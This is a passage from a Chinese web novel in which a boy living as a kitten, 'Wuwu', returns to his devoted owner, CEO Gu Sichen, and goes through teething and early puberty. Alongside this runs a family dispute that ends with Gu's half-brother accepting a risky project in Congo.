经过这几天的流浪，吴雪已经从香香软软变成了一只脏兮兮的小花猫，哪怕他每天都要花许多时间清理身体，可糟糕的环境还是让他狼狈不已。 听着这疑问的声音，难道顾司沉没认出自己？ 吴雪松了口气，又忍不住有些失落，丢下烤鸡转身跑了。 笨蛋顾司沉，怎么连他都认不出来了！ 吴雪边跑边骂，可骂着骂着，他声音越来越小，眼睛也跟着红了起来，呜呜呜……他才是笨蛋！ 不想让缅因看见自己狼狈的模样，吴雪偷偷在外面躲了好一会儿，才回复平静走到缅因这边，若无其事道：“垃圾场里有烤鸡，想吃你自己去拿。” 缅因闭上眼睛，并不搭理他。 吴雪反正只是过来通知一声，被顾司沉发现，他不会再继续留在这里了。 小猫转身要走，可他刚钻出灌木丛，就看见顾司沉半跪在面前，正弯下腰透过树丛看他。 吴雪心虚地埋下头，想换一个方向。 “乌乌，我知道是你，”顾司沉语气焦急，还有几分委屈，“你为什么不要我了？” “我没有不要你！”吴雪立刻反驳。 可他说不来人话，只能一直喵喵喵。 顾司沉伸手唤他：“乌乌，过来。” 吴雪一忍再忍，可他太想人了，最终还是没有忍住，飞快奔向了顾司沉。 “呜呜呜，”小猫在顾司沉怀里哇哇大哭，“我没有不要你，只是我打碎了那么多东西，我是一只坏小猫，我怕你不要我了！” 顾司沉半跪在地上，小心翼翼地捧着乌乌的身体。他明明什么都听不懂，却仿佛能理解乌乌的意思，主动问：“你是不是觉得自己闯了这么大的祸，我就不会不要你了？” 小猫委屈巴巴地点头。 “不会的，无论如何我都不会抛下你。”顾司沉看着乌乌眼睛，一字一句，“你是我养的猫，你犯了错也是身为家长的我做得不够好。是我没有把水杯放好，是我用那么贵的花瓶插花，是我没有把电视保护好，这一切都不是你的问题，你不用感到愧疚。” 吴雪又要哭了。 人怎么能对他说这种话啊？为什么一点儿都不怪他？为什么能包容他做的所有事情？ 眼泪又落了下来，吴雪扒着顾司沉脖子，哭得上气不接下气。 “好了，没事了，我带你回家。”顾司沉轻轻抚摸小猫身体，比哄小孩儿还要耐心。 为什么会变成这样？ 目睹这一切的肖冕很不理解，吴雪明明做了这么多坏事，可他的人却依旧没有放弃它。 更奇怪的是，为什么看着这一幕，他的心脏也变得酸酸涨涨的？ 哭了好一会儿，吴雪终于止住了眼泪。一抬头，发现顾司沉已经带他回到了家里。 小猫不愿意下去，反应很大地挥舞着双手。 顾司沉：“乌乌，你怎么了？” 吴雪张着嘴巴，嗷呜乱叫。顾司沉打开猫语app递过去。 “可是我得了绝症，我马上就要死掉了。”吴雪说着说着，又哭了起来，“呜呜呜我不能死在家里，我要死在外面，不能让人伤心。” 顾司沉越听越心惊：“什么绝症？” 吴雪哇哇大哭：“我吐了血，牙齿也掉了，缅因猫说我得了绝症，马上就要死了呜呜呜呜呜呜……” 顾司沉一愣，随即笑着说：“宝宝，你是换牙了，你就要长大了。” 吴雪愣在了原地。 第22章 什么？换牙？他竟然只是换牙？ 吴雪心中一时大惊大喜, 又很快愤怒起来，该死的缅因猫竟然骗了他！你才得了绝症，你才要死了！！ 吴雪怒气冲冲回去找缅因猫算账, 然而等他带着顾司沉回到原处，却发现缅因猫已经不见了。 肖冕是真的快要死了，他想死在猫咪之家，一个对流浪猫很好的地方。趁着身体还能动弹，他一点点挪动身体, 努力地往猫咪之家爬去。 肖冕爬过尖尖的草坪, 滚烫的石板, 终于来到了猫咪之家。 但他不敢靠太近，因为太近了会把病传染给别的猫。他只能自己躲在阴沟里, 远远地看着猫咪之家幸福的猫咪, 结束自己最后的生命。 回看自己这短暂的一生，充满失败与后悔。离岛时的肖冕意气风发，本想做出一番大事业。结果一步错，步步错, 只能狼狈等死。 太阳越来越大, 照得世界一片惨白，让他想到了死亡。 只是下辈子，他不想再和人有关系了…… “又遇见你了，”模糊的视线中, 一个背着双肩包的男生走了过来, 他从口袋里掏出个口罩戴上, 好奇道，“咪咪，你怎么睡在这里, 不热吗？咪咪，你要不要吃罐头？咪咪，你是不是生病了……” 在陌生男生友善的声音中，缅因猫缓缓合上了眼睛。 · 吴雪没有找到缅因猫，有些失落地回家了。但很快他又变得开心起来，因为他发现自己长新牙了！ 嘴巴还不适应刚长出的新牙，吴雪不停地用舌头舔。舔完了，又张开嘴巴给顾司沉炫耀：人，我牙齿长出来了。 顾司沉低头一看，小猫粉嫩的牙龈里冒出两颗小尖牙，米粒般大小。 顾司沉：“乌乌长牙了？” “喵喵喵！”小猫开心地叫了起来，好大一颗牙！新长出来的牙齿一定很厉害！ 吴雪又开始捕猎了。 他兴奋得满屋子乱窜，到处撒欢，在地毯、沙发、床单上留下了一道道脏脏的脚印。 小猫有些茫然地停了下来，他抬起自己的猫爪想舔干净，可又很快嫌弃起来。 他脏了，他再也不是那只香香软软的小猫咪了。 顾司沉：“要不要洗澡？” 洗澡？ 小猫不太理解这个词，好奇地睁大了眼睛。 顾司沉已经把猫带进了浴室。 吴雪好奇地打量着周围的一切，池子好大，白白滑滑的，根本抓不住，爬到一半就会滑下来。但这拦不住他，吴雪跳到浴缸边，却发现门被关上了。密闭的空间让他有些紧张，但好在还有人在。 人喊他宝宝，夸他怎么这么厉害，说他是世界上最好看的小猫咪。 小猫被人夸得晕乎乎的，等他回过神来，才发现自己身上的毛全湿了。 吴雪：喵喵喵？！ 为什么会变成这样？！他讨厌湿湿的毛！！ 小猫把脑袋转得像是风火轮，“啪嗒啪嗒”，水珠全甩到了顾司沉身上。 顾司沉蹲下.身去抓猫，定制白衬衫被水打湿，紧贴着他健壮的身体。 吴雪一巴掌打到他健壮的肱二头肌，又灵活地躲到了另一个角落里。 人果然非常狡猾！ 一边甜言蜜语夸奖他，又一边做坏事欺负他，他再也不要相信人了！ “乌乌，过来。”顾司沉说。 吴雪缩在墙角，警惕地看着人。他身上的毛发全湿了，显得脑袋和眼睛尤其大，鼻头粉嘟嘟的，像是一只小精灵。 “抱抱。”顾司沉继续道。 吴雪犹豫了。 顾司沉伸手抱起乌乌，一边给它抹泡沫一边说：“别怕，很快就结束了。” 吴雪抱着顾司沉脖子，一阵嗷嗷呜呜。 吴雪第一次洗澡，前前后后花了一个多小时，顾司沉把猫塞进烘干箱，自己也去浴室洗了个澡。 等他冲完澡出来，乌乌已经躺在烘干箱里睡着了。刚洗过的毛发蓬松柔软，像是一朵大大的蒲公英。 顾司沉关掉烘干箱，把乌乌抱到沙发上，乌乌还是没醒。 这几天的流浪生活让他疲倦不已，在外面吃不好睡不好，还需要时刻保持警惕。直到回到家里这个绝对安全的领地，终于卸下防备睡了过去。 顾司沉把脸埋进小猫的肚皮，心中涌现出强烈的、失而复得的喜悦。 对不起，以后不会再让你受苦了。 · 乌乌回家第二天，顾光耀觉得自己受了天大的委屈，顾司沉因为一只猫就带着保镖闯进他家，这件事让他颜面尽失，哭哭啼啼告到了老爷子面前。 老爷子没吭声，老头儿退休后就不管事了，主打一个谁也不得罪。得知此事，他在周末把涉事人都叫了回来，态度很明显，你们自己解决。 饭桌上，顾光耀又是一顿哭诉。老爷子不开口，老太太还留在南山寺修行，顾海鑫左看右看，自诩桌上没人比他更有辈分，又摆出一副父亲的姿态当理中客。 顾司沉低头喝汤，没给他一个多余的眼神。 “我还听说是为了一只猫？宠物而已，何必为了这种东西伤了你们兄弟情呢？” 还是没人搭理他，顾海鑫有点儿尴尬了，就在他第三次想要开口时，顾司沉放下汤匙，平静道：“汤不错。” 顾海鑫：？ 厨师受宠若惊，连忙道：“顾先生喜欢就好，您下次来我们再做。” 顾海鑫不悦：“顾司沉，我和你说话呢你……” “顾光耀，”顾司沉说，“上周国际峰会我谈了一个刚果金的矿产开发项目，我打算让你去。” 什么玩意儿？刚果金？非洲那疙瘩？ “我才不去！”顾光耀花天酒地惯了，下意识拒绝，“非洲那么穷那么苦，要去你自己去。” 顾司沉似乎只是随口一提，见顾光耀拒绝，便说算了。 顾光耀本都打算争个你死我活，没想到顾司沉这么简单就放弃了。搞什么，这就怕了吗？ 顾海鑫也不赞成这种安排，又对顾司沉说：“我记得董事会秘书处有变动，恰好几个空缺，不然让光耀去。” 顾司沉：“他不适合。” 顾光耀最听不得这话，下意识反驳：“哪里不适合？” 顾司沉：“你学业不精，能力不足，性情散漫，毫无操守。你凭什么觉得自己能进入董事会秘书处？” 桌上一半人觉得顾司沉说得对，暗中点头。 像顾氏这样的大家族，一代人中难免会出几个废物，你要是安分守己，安心拿家族分红吃喝玩乐一辈子，大家也不会多说什么。但最怕废物心比天高，想要做出一番大事业。 顾光耀用力握住餐刀，整张脸肉眼可见地涨红了。他一心想要做出一番事业，让所有人刮目相看，谁知顾司沉竟当面如此奚落他？ 顾海鑫脸上也挂不住，他也是个废物，顾司沉这番话跟直接骂他有什么区别？ 但他毕竟年纪大了许多，脸皮也厚，倒也没有顾光耀那么愤怒，只是说：“司沉，这就是你的偏见了，虽然光耀能力不行，但总要给他机会锻炼嘛。就算他大学文凭是捐楼买来的，但也不能说明他这个人毫无用处啊！” 说完，顾海鑫又转头对顾光耀说：“光耀，你说是不是？既然你有心学习，就好好儿求求你哥，让他给个机会。” “凭什么要我求他？”顾光耀反驳，“真要求人，也是父亲您求他更适合吧？” 顾海鑫老脸一沉：“你说什么胡话？哪儿有爹求儿子的？” “我觉得很有道理啊，我废物难道不是你们的错吗？”顾光耀盯着顾海鑫，语气冰冷，“我没用，我废物，我大学文凭的确是买来的，可你们怎不想想，我在镇上那个破小学一直念到初中！” 此话一出，顾海鑫、姚婷不约而同地低下了头。 “光耀，你冷静一点，”姚婷扯了扯他衣袖，“你爸也不想这样。” “他不想这样？”顾光耀猛地站起身体，愤怒道，“如果不是他想，他为什么会在你怀孕时跑去结婚？当初我们过得那么辛苦，他为什么从来没有过问？如果不是他想，他为什么要一直等到和前妻离婚才……” “啪——” 姚婷一巴掌扇了过去，气得浑身发抖，“顾光耀！你闹够没有？！” 顾光耀歪着脑袋，沉默足足十几秒，抬头凄凉一笑：“妈，您是圆了豪门梦，可我呢？我失去的那十几年又算什么？” “光耀……”姚婷颤抖着手想要碰他，顾光耀却猛地推开她，头也不回地跑了出去。 餐厅重新回复安静，无人还有食欲。沉默半响，老爷子长长叹了口气，又仿佛什么都不知道转身上了楼。 顾司沉和顾亭安也打道回府，路过花园时顾亭安突然停了下来，语气震惊：“哥，顾光耀是不是在哭啊……” 顾司沉看了眼，没理。 顾光耀却抹了把脸，冲过来拦住他车门，还放狠话：“顾司沉，你别以为可以用项目把我流放非洲，我不会上你的当！” 顾司沉突然问：“顾光耀，你今年多大了？” 整个顾家都知道顾光耀年龄敏感，是一项天大的丑闻。 顾光耀抬起头，死死盯着顾司沉：“你什么意思？” 顾司沉：“这个年纪你还一事无成，你指望大家怎么尊重你？” “你——” “我有说错吗？”顾司沉垂眸，烈日炎炎，他眼神冷漠得却仿佛带着冰，“从出生到现在，你有任何可以谈得上成就的东西吗？” 顾光耀咬牙切齿：“顾司沉，别以为我不敢揍你！” 顾司沉保镖瞬间进入警戒状态，顾司沉却只是摆手示意他们退下。 “你觉得大家看不起你，觉得我不重用你，所以你的价值才得不到发挥。可你看看自己做的这些事，有哪一件是值得人尊重的？仗着顾家背景花天酒地，丑闻缠身，没有任何建树。这就是你的追求？顾光耀，你如果还继续这么幼稚，只会让人一辈子看不起。” 顾光耀呼吸急促，他死死盯着顾司沉，恨不得冲上去给人砰砰两拳。 可顾司沉只是冷静地和他对视，在这如寒冰一般的目光中，顾光耀的愤怒一点点褪去，最后变成了一种类似羞耻的情绪。 他想张嘴说点儿什么，可顾司沉已经坐进了车里，顾光耀直接冲了过去。 司机拿不定主意，回头看顾司沉。顾光耀又跑到后排，拍打后车窗。 车窗降下，顾司沉语气没什么温度：“还有事？” 顾光耀支支吾吾，眼睛一闭，问道：“非洲那个项目怎么回事？” 顾司沉：“当地政局复杂，有些事外交部不好出面，需要企业从中斡旋。项目难度和危险程度都不低，去不去你自己决定。” 顾司沉说完就走了，顾光耀失魂落魄地站在原地，直到姚婷过来喊他才回了神。 姚婷拍了拍儿子肩膀，缓声道：“你别以为事情有那么简单，你哥那个人你也知道，想要处理人有得是手段……” “你能不能别说了！”顾光耀突然大喊出声。 姚婷一愣，诧异道：“难道你想去非洲？” 顾光耀没有回答。 轿车安静穿过城市高架，顾司沉处理工作，顾亭安呆呆看着窗外，一言不发。 车停稳，顾司沉下车，顾亭安一动不动。 顾司沉：“小安。” 顾亭安终于回神，有些委屈地问：“哥，你说爸妈当初即然不喜欢对方，为什么还要生下我们？” 顾司沉沉默数秒，摇头：“我不知道。” “哦。”顾亭安低下头，表情有些失落。 顾司沉：“父母为什么生下我们不重要，重要的是这已经发生。” 重要的是这已经发生？顾亭安有些茫然地抬头。 “顾亭安，向前看，”顾司沉说，“我们可以不重复父母的人生。” 高速电梯安静地运行，顾司沉开门进屋，客厅里乌乌正在玩小鸟玩具，听见开门声立刻放下玩具，像小马驹一样跑了过去。 顾司沉一把抱起乌乌，又问：“想我没有？” 小猫：“喵呜！” 顾司沉和小猫玩了一会儿，说：“我还有事，你先自己玩儿。” 小猫看了人一眼，依依不舍地离开了。 顾司沉去书房继续工作，他很忙，作为集团总裁，顾司沉每天都有数不清的工作要做。 哪怕他已经有了一套非常优秀的秘书班底，尽可能缩减不用他决策的内容，但时间依旧不够用。 傍晚六点，周姨做好晚饭，没敢敲门喊人，直接把饭菜放在了保温柜。 直到晚上十点，书房门终于重新打开。 乌乌不知去哪儿了，顾司沉吃了保温柜里的饭菜，复热的饭菜口感不太好，但他不介意这些。 填饱肚子，顾司沉去浴室里洗澡。出来时，看见乌乌费劲地扒拉出宠物按钮。 顾司沉坐在床头，刚洗完的头发还在滴水，刘海儿遮住额头，让他看上去比平时小了好几岁。 他一边用毛巾擦头发，一边问：“乌乌，你在干什么？” 小猫把按钮挪到他面前，按：【人】【不高兴】 顾司沉有些自责，蹲下.身摸了摸小猫脑袋：“抱歉，我今天太忙了，明天一定陪你玩。” 小猫继续按：【人】【不高兴】 顾司沉愣住了。 小猫还在按：【人】【不高兴】 “知道了，”顾司沉抬起小猫爪子，说，“你是觉得我不高兴？” 小猫再按：【是】 顾司沉：“你看出来了？” 小猫：“喵。” 顾司沉：“你怎么知道我不高兴？” 小猫又翻出一个宠物按钮：【聪明】 顾司沉笑了，抱起乌乌说：“宝宝怎么这么聪明？” 他闭上眼睛将乌乌按进怀中，感受着小猫的柔软和体温，过了一会儿又说：“谢谢乌乌，我没事了。” 可乌乌不觉得。 乌乌用毛茸茸的脑袋蹭人的肩膀，乌乌想说话，乌乌想变成人。 第23章 三天后, 顾司沉收到秘书汇报，说顾光耀在楼下想要见他。 顾司沉有事，隔了三个小时才让秘书把人领进来, 头也不抬地说：“你有五分钟时间。” 此时的顾光耀仿佛换了个性子，丝毫没有因为被拒绝而愤怒，反而紧张又惶恐，欲言又止，来回踱步。 他其实不想来的, 但他最近实在是太倒霉。自从缅因猫消失后, 他曾经的幸运全都消失了。发烧、拉肚子磕碰都是小事情, 更要命的是他总在半夜惊醒，梦见缅因向他寻仇。 该不会是死了吧？可这又和他没关系！ 他给吃的给喝的, 虽然偶尔打骂但又没有下死手, 缅因猫就算有什么事情也找不到他头上才对。 可顾光耀总觉得不安，他破天荒给流浪猫救助中心捐了一笔钱，甚至去庙里请了个平安符。 噩梦消失了，可他还是心惊, 仿佛冥冥中有一股力量, 在催促他尽快离开这里。这时候，顾光耀想到了非洲这个项目。 如果不是被逼到绝路，他也不想过来求顾司沉，可现在情况紧急…… “你还有一分钟。”顾司沉冷漠的声音响起。 顾光耀一惊, 脱口而出：“你为什么要让我去非洲？” 顾司沉看着他眼睛, 平静道：“你学业不精但善于社交, 你能力不足但野心勃勃，你道德水平不高但或许能以意想不到的角度打开局面。在政局复杂、营商环境混乱的刚果金，你能和传统精英实现互补, 实现最大化利益。” 顾光耀愣住了。 顾司沉说他善于社交，野心勃勃，能以意想不到的角度打开局面？ 他从来没想到顾司沉是这么看他的，甚至连他自己都没想到，他身上有这么多的优点…… 顾光耀心潮澎湃，双眼发亮：“我……” “老板，您4点有个会。”秘书敲门提醒。 顾光耀欲言又止，还想再说什么，顾司沉已经起身去往下一项行程。 一周后，顾光耀远赴非洲，这一消息迅速传遍了贸城。 有人觉得顾光耀是被流放了，今后都要远离古贸集团权力中心，送别宴时，顾光耀那些狐朋狗友都在替他惋惜。 顾光耀打断对方的话，冷冷道：“你懂个屁，老子这叫曲线救国。整个贸城都是顾司沉的地盘，我留在这里也做不出成绩，不如去非洲开辟一番新事业。” 大家都在祝贺他，只有一个在当地做过项目的人没有说话。 海关扣护照，官方索要贿赂，黑.帮层层剥夺……这种地方普通人拿命换钱都要掂量，这种富二代竟然愿意往那里钻。 他想说当地不是富贵乡，说不定还有生命危险，但看着顾光耀跃跃欲试的表情，最终还是没敢开口。 顾光耀走后不久，顾司沉听说奶奶身体欠佳，抽了半天时间去南山寺探望。 没想到老太太健步如飞，旁边还有一位陌生的年轻女士。顾司沉神情如常，陪奶奶抄写佛经。 奶奶看了眼他手腕，好奇道：“上次大师给你的佛珠呢？” 顾司沉：“断了。” 佛珠断裂往往意味着不吉利，奶奶诧异道：“你最近没遇到事儿吧？” 顾司沉：“没有。” 奶奶这才放心，点头道：“应该是替你挡了灾，人没事就好。” 佛经抄完，奶奶说自己有事要走，让顾司沉别跟着。 顾司沉起身道：“我陪您一起。” 他一路把人送到奶奶居室门口，奶奶瞪他：“我要睡觉了，你还能陪着？” 顾司沉：“总不能留下陪那位女士。” 奶奶哟了一声：“你看出来啦？” 顾司沉：“早看出来了。” “我本来懒得管你，是你姚阿姨说光耀想在出国前订婚，可你又没有动静，她担心光耀先你订婚不太好。我想你也到年纪了，见见女孩子也好。” “不存在，”顾司沉说，“我们家没有那种封建的风气，小辈想订婚结婚都行。” 奶奶：“那你呢？” 顾司沉：“我暂时不考虑。” “还是要有人陪的，”奶奶苦口婆心道，“等你到了我这个年纪，就知道财富、名誉都是虚的，真正珍贵的还是人和人之间的感情。” 顾司沉：“您说得对，陪伴很重要。” 这下换奶奶意外：“我记得你之前不是挺排斥我说这些？” 顾司沉：“当时太年轻，不懂。” 奶奶被逗笑了，又说：“既然你开窍了，那我给你多张罗张罗。” “不用，”顾司沉说，“我已经有陪伴了。” “你有情况了？” “我有猫了。” “……你又不能和猫过一辈子。” “为什么不能？” “……” 顾司沉没有呆太久，和奶奶道别，又回去客客气气地拒绝了那位女士，出了寺庙大门。 南山寺依山而建，整座寺都嵌入山体之中，垂直落差极大。顾司沉下山时看见一只小猫蹲在扶手上，背影有点儿像乌乌，但正脸就不像了。 寺里的流浪猫见惯了人，一点儿不怕生，见人过来就要吃的。顾司沉没带猫粮，只伸手让猫蹭了蹭。 “好可爱的小猫！”看见这一幕，有香客掏出手机拍照。 顾司沉只摸了两下，便把位置让给了别人。 顾司沉在晚高峰前回了家，他在玄关处换鞋，一边喊小猫名字。 乌乌立刻冲了过来，顾司沉伸手想抱猫，乌乌却警惕地看着他，不停地闻他手上的味道。 顾司沉还以为乌乌在和他玩儿，顺势伸手挠了挠小猫下巴，不料乌乌张嘴就是一口。 顾司沉：“……？” 不疼，但为什么呢？ 顾司沉不理解。 吴雪快要气炸了，顾司沉身上有野猫的气息！ 小猫生气地瞪着顾司沉，眼神凶巴巴，尾巴把地板打得啪啪响。 人在外面有了别的猫，猫现在很生气，要一打小鱼干才能哄好。识相点儿就快点上供，不要不识好歹。 直到乌乌第三次用粗重的呼吸声表示不满，顾司沉才终于明白，他在外面摸野猫没洗手，回来被乌乌发现了。 顾司沉：“……” 一种混合了尴尬、无语、心虚的情绪涌上心头，顾司沉仔仔细细地洗完手，又若无其事拿出一袋新口味猫零食，贿赂乌乌。 乌乌依旧没有消气，站在顾司沉大腿上边吃边骂。吃完零食，又很嫌弃地踹了顾司沉肚子一脚，冷酷无情地离开了。 顾司沉默默收起零食，心道下次再也不摸别的猫咪了。 这种拉锯一直持续到晚上顾司沉睡觉，小猫满屋子乱窜，就是不过来陪他。 顾司沉不想等了，直接抓起乌乌举到半空，看着它眼睛问：“还在生气？” 小猫疑惑地歪了歪头，生什么气？ 他玩得正开心呢，人却突然跑来打断他，好烦！ 顾司沉：“我摸了野猫是我不对，以后都不会了，乌乌能不能别生气了？” 吴雪这才想起来怎么回事，他早忘了。 但既然人又重新提起，吴雪凑过去检查顾司沉手指，很好，这次没有别的小猫味儿了。吴雪终于满意起来，大发慈悲地蹭了蹭人手指，让这双手里里外外都染上自己的气味。 “乌乌，你是不是重了？”顾司沉摸到了小猫肚子上的软肉。 他抱着乌乌称体重，2.37kg。 之前抱着轻飘飘的小猫，现在手感也变得沉甸甸，更好抱了。 小猫简直一天一个样，当乌乌5个月时，已经长到了4.24kg，单看体型，完全就是一只大猫了。 另一个好消息是他全部犬牙已经更换完毕，又可以肆意地捕猎，撕咬猎物了！ 吴雪叼着牵引绳跑到顾司沉面前，迫不及待想和玳瑁炫耀自己的新牙齿。 可当他把这个好消息告诉玳瑁时，玳瑁却只是叹了口气，一副心不在焉的样子。 吴雪又给它小鱼干，玳瑁竟然忍住口水，说他不吃。 吴雪震惊：“你怎么啦？” 玳瑁眼神都变了，回答道：“我恋爱了，我要把小鱼干送给我的心上猫。” 吴雪震惊：“你恋爱了？” “嘿嘿。”玳瑁不好意思地摸了摸后脑勺。 “恋爱个屁，”大橘路过反驳道，“你看人家三花喜欢你吗？” 玳瑁：“它很快就会喜欢我了。” 玳瑁兴致高昂地走到三花面前，伸出一只前爪：“hi，美女。” 三花给了它一个白眼，走开了，倒是和吴雪打了声招呼。 吴雪平静点头：“你好。” “你怎么能这么冷静？”玳瑁不理解，“你不觉得它很好看吗？” 吴雪：“我觉得我最好看。” 玳瑁：“……跟你们这些漂亮小猫说不清楚。” 因为玳瑁一直在说三花猫，吴雪觉得有些烦了，就比平时更早回了家，看动物世界打发时间。 之前那块被他和缅因咬烂的电视换成新的了，110寸的超大屏幕，Micro LED高清显示，再加上杜比全景声，临场感扑面而来。 乌乌端坐在电视机前，觉得自己变成了一头生活在草原上的猛兽：“嗷呜~！” “哗——” 一只大鸟飞过屏幕。 等等，那是什么？！ 圆圆的脑袋，大大的眼睛，尖尖的耳朵，还有和猫咪一模一样的毛裤——会、会飞的猫？！ 这简直太酷了！要是他也能飞，他就能实现梦想，成为梦寐以求的猫猫侠！ 顾司沉从公司回来，看见乌乌顶着内裤站在猫爬架最高处往下跳。 猫爬架三米高，顾司沉急得心脏狂跳：“乌乌！” 小猫稳稳落地，抬起头时眼神凛然，仿佛在嫌弃他大惊小怪。 顾司沉：“……” 他一把扯掉乌乌头上内裤，警告：“不许从那么高的地方跳下来。” 小猫眨了眨眼，跑到第三层，大概有两米高。 顾司沉叹气：“我不是不让你玩，我只是怕你出事。” 小猫：“喵喵喵。” 顾司沉又问：“为什么要偷我的内裤？” 乌乌反驳：“这是我的魔法披风！” 顾司沉听不懂，冷漠地没收了小猫的所有内裤。 吴雪天塌了，他的猫猫侠，他的飞翔梦！ 乌乌变成一只坏猫，咬烂顾司沉的睡袍，还偷偷往顾司沉的咖啡杯里放辣椒。 顾司沉：“……” 再这么折腾下去，乌乌能把家拆了。当天下午，顾司沉叫来合作的高奢服装设计师，要定制一批猫用披风。 设计师昨晚就接到了需求，现在已经赶制出了几个样式，当面再对一对有没有要改的地方。 顾司沉：“你问它。” 设计师蹲下问小猫：“乌乌，喜不喜欢？” “喵！” 吴雪眼睛都亮了！他的猫猫侠披风！！ “衣服要吗？”顾司沉又问。 衣服？ 设计师拿出一件迷你战衣，胸膛上手工绣着乌乌的脑袋，威风凛凛，嚣张得不得了。 乌乌：“喵喵！！” 要要！！ 顾司沉：“墨镜呢？” 设计师拿出一个巴黎世家风格的炫酷墨镜！ 乌乌：“喵喵喵！！！” 我要，我全都要！！！ 吴雪穿着战衣，系着披风，戴着墨镜，一跃变成世界上最帅的猫咪！ 他不知疲倦地玩了一整夜，还让顾司沉录视频记录下他的英姿。 当晚，吴雪梦见自己变成了猫猫侠，长出翅膀，在天上飞。 原来飞起来是这种感觉，身体好轻，好暖，好舒服…… 醒来后，那种兴奋的感觉还留在吴雪身体里，他身体变得轻飘飘的，似乎还有点儿燥热，玩玩具时，会忍不住在玩具上磨蹭自己的身体。 每天早上出门前，顾司沉都会先喂一次猫。 今天他准备好早餐喊乌乌吃饭，却看见乌乌支起一条腿，正低头舔自己毛茸茸的铃铛。 小猫柔软蓬松的肚子毛中冒出了一截小口红，他还想再看，乌乌已经被食物吸引跑了过来，除了铃铛毛茸茸，没有别的异常。 顾司沉没有在意，和乌乌一起吃完早餐出了门。 吴雪感觉自己有点儿不对劲，但他又说不上来具体哪里不对劲。 他感觉自己身体涌出一股奇异的冲动，这股冲动催促着他征服、破坏、占有。可奇怪的是不管他如何捕猎、运动，都无法彻底缓解这种难受。 吴雪又去找玳瑁了，带着一整包小鱼干作为报酬。自从上次吴雪挣脱牵引绳离家出走，现在猫每次出门都是顾司沉亲自溜。 秋天来了，树叶金黄，微凉的空气中弥漫着桂花香。流浪猫们离开空调房，三三两两地躺在庭院草地上。 吴雪找到玳瑁，递过小鱼干，语气严肃道：“玳瑁，我有事情想要问你。” 这么多小鱼干？ 玳瑁眼睛都直了，拍胸脯保证：“老大尽管问，我什么都说！” 吴雪张嘴，话到嘴边却觉得难以启齿，改口道：“你身上怎么有一股奇怪的味道？” “什么味道？”玳瑁嗅了嗅，“我没闻到啊。” 臭臭的，闻着就让人不舒服，想打架。 吴雪皱眉，默默后退了两步。 他最近对气味变得特别敏感，而且脾气也日渐暴躁，就好像身体里藏了个愤怒的娃娃，不发泄出去就不舒服一样。 不对劲，他是不是生病了？ 吴雪捉摸不透，猫猫神教会了他们许多事，可从来没有说过这种情况要如何。 吴雪在草地上胡乱地奔跑着，意图冲淡体内那股横冲直撞的愤怒，可依旧毫无作用。 “咪咪，吃饭了。”不远处，顾亭安端着两个罐头下楼，猫一拥而上。 吴雪也过去打招呼，却发现顾亭安身上都有那种让猫不舒服的、想打架的味道。但这怎么可能？顾亭安又不是猫？ 玳瑁：“老大，怎么了？” 吴雪皱眉，说：“人身上有猫的味道。” 玳瑁：“很正常吧。” 不对，完全不正常，顾亭安猫毛过敏，平时喂猫都遮得严严实实，怎么会染上猫的信息素？ 吴雪走到顾亭安旁边，那种味道更明显了，让他想起了某个讨厌的坏家伙。 吴雪转身跳进顾司沉怀里，还是人身上的味道最舒服。 顾司沉发现，乌乌又变得粘人起来，他办公小猫就趴书桌，他沐浴小猫就守门口，连睡觉都要和他一个被窝。 乌乌还会趴在他身上踩奶，就是下手不知轻重，踩坏了他好几件睡衣。 这天顾司沉游完泳出来，正要回浴室洗澡，半路杀出一只小猫要抱抱。顾司沉顺手抱起乌乌，坐到了沙发上。室内游泳，他只穿了一条泳裤，浑身上下都是柔韧的肌肉。 小猫坐在他身上开始踩奶，顾司沉起初还只是觉得好玩儿，直到乌乌踩完腹肌又踩胸肌…… 顾司沉突然表情扭曲。 嘶—— 最近没给猫剪指甲，好痛。 猫抓痕在受伤之初并不明显，直到第二天，顾司沉赴约去参观费均的私人会所。 费均正职是医生，但家族人脉广阔，投资了一个私人俱乐部，在开业前夕邀请顾司沉掌眼，看看还有没有什么地方值得改进。 顾司沉加入了国内外数家邀请制高端俱乐部，在会所布置和运营上提了不少建议，离开前，又被费均邀请体验他们俱乐部的重要卖点项目——天然养生温泉，颂钵疗愈。 雾气弥漫的温泉里，费均看着顾司沉前胸后背还有腹肌上这一连串抓痕，睁大眼睛：“兄弟，没看出你私下玩得这么激烈……” 顾司沉出身世家，注意隐私和形象。除非必要几乎不在公众场合露面，更别提参加那些乱七八糟的派对和运动。只有费均这种发小邀请，他才会稍微随意一些。 “只是看起来吓人，”顾司沉说，“它有分寸，不会太过分。” 这话和直接承认有什么区别？费均难以置信：“原来你喜欢这种类型？” 顾司沉：“什么这种类型？” 费均：“火火辣辣？” 顾司沉无语：“我说的是猫。” “我懂，”费均很上道地说，“小野猫嘛。” 顾司沉：“……” 顾司沉翻出手机相册，指着乌乌说：“这种猫。” 费均：“……” 吴雪现在确实有点儿野了，几乎天天都要出门遛才行。 这天顾司沉回家时已经天黑了，小猫竟然还叼着牵引绳想要下楼。 “今天太晚了，”顾司沉摸了摸小猫脑袋说，“明天我早点回家陪你玩。” 奶牛猫不悦地喵了一声，但也没有坚持。 乌乌一直懂事，顾司沉以为这样就算谈妥了。直到半夜，他突然被一阵“嗷呜”叫吵醒。声音非常大，听起来简直就像是在喊“老吴”。 顾司沉还以为猫出事了，出门一看，猫立刻又夹着嗓子喵喵喵。 顾司沉：“……” 第二天是周末，顾司沉早上就带着乌乌出了门，等乌乌玩够了，顾司沉才回家开线上会议。 下属汇报工作时，顾司沉小腿突然一热，乌乌又来蹭他了。 最近乌乌经常会用他身体各个部位踩奶，有时候上了头还会模仿捕猎的动作兔子蹬，所以这次顾司沉也没有放在心上。直到会议结束时，他发现自己裤子湿了一小块儿。 黑色的西裤布料被透明的液体染得晶莹，顾司沉用指腹沾到鼻边，有些蛋清的腥气，他以为是小猫的口水，去衣帽间换了身衣服。 晚上睡觉前，顾司沉洗完澡盖着羊绒毯，坐在床头用ipad看文件。 咻—— 乌乌突然冲过来把他的脚当猎物。 隔着被子咬不疼，顾司沉还以为乌乌在和他玩儿。乌乌咬着咬着，又开始抓着他胳膊踩奶。 入秋后，顾司沉睡衣换成了更加保暖的天鹅绒，手感软糯，乌乌非常喜欢，经常趴在他睡衣上睡觉。 小猫这次踩奶尤为沉醉，犬齿咬住睡衣，两只前爪依次抓踩顾司沉胸口，喉咙里还发出舒服的呼噜声。 顾司沉发了个视频到朋友圈，配上茶茶的发言：天冷了，猫也粘人了。 五分钟，几百赞，留言一长串。 顾司沉无视大部分，只回了宠物医生：乌乌五个多月了吧？身体怎么样？ 